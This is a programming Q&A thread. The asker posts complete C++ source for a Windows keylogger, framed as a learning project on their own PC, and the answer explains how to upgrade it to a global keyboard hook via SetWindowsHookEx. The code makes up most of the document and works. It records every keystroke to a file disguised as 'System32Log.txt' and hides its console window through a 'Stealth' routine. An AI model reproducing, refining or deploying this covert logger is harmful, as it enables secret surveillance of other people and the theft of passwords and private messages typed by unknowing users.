Making a Keylogger

Question

I wanted to make a small keylogger on my own pc to see how keystrokes work with C++. I've found some code online and just edited it up a bit though I'm not sure how to do what I want to do.

#include "stdafx.h"
#include <iostream>
#include <windows.h>
#include <winuser.h>   

using namespace std;  
int Save (int key_stroke, char *file);
void Stealth();

int main() 
{
    Stealth(); 
char i;
while (1)
{
    for(i = 8; i <= 190; i++)
    {
        if (GetAsyncKeyState(i) == -32767)
            Save (i,"System32Log.txt");
    }
}
system ("PAUSE");
return 0;
}
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
    return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

    if (key_stroke == 8)
    fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");  
    else if (key_stroke == 13)
    fprintf(OUTPUT_FILE, "%s", "\n"); 
    else if (key_stroke == 32)
    fprintf(OUTPUT_FILE, "%s", " ");
    else if (key_stroke == VK_TAB)              
    fprintf(OUTPUT_FILE, "%s", "[TAB]");
        else if (key_stroke == VK_SHIFT)
    fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
        else if (key_stroke == VK_CONTROL)
    fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
            else if (key_stroke == VK_ESCAPE)
    fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
            else if (key_stroke == VK_END)
    fprintf(OUTPUT_FILE, "%s", "[END]");
                else if (key_stroke == VK_HOME)
    fprintf(OUTPUT_FILE, "%s", "[HOME]");
                else if (key_stroke == VK_LEFT)
    fprintf(OUTPUT_FILE, "%s", "[LEFT]");
                    else if (key_stroke == VK_UP)
    fprintf(OUTPUT_FILE, "%s", "[UP]");
                    else if (key_stroke == VK_RIGHT)
    fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
                        else if (key_stroke == VK_DOWN)
    fprintf(OUTPUT_FILE, "%s", "[DOWN]");
                        else if (key_stroke == 190 || key_stroke == 110)
    fprintf(OUTPUT_FILE, "%s", ".");
                        else
    fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}

I want to fix it up to properly store stuff like "." "," or more, but I'm not sure since I'm not familiar with the key strokes. Also I would like to add something that would make it use up less CPU (currently 25% on my i5), I should probably use Sleep(value), though I'm not sure which value to go for.

Answer 1

Take a quick look at the answers here and here for more information on which windows API functions are appropriate for your work.

---

The basic idea is to set a so called "Hook" function on the Keyboard using SetWindowsHookEx (either Keyboard oder Keyboard_LL - you'll probably want the first though). On unloading your keyboardlogger, you need to unhook it. After you have set the hook, Windows will call the hook function after each keyboard event. You process it (log it somewhere) and then you call the next Hook with CAllNextHook to continue processing the event in Windows. You'll need some trying and debugging there.

That's it for a global hook (the second link provides information in MSDN). Research on the SetWindowsHookEx function and try to understand the mechanisms behind it and you'll soon succeed. You can also refine your search on stackoverflow using "hook" as keyword in your search (e.g. reading this here)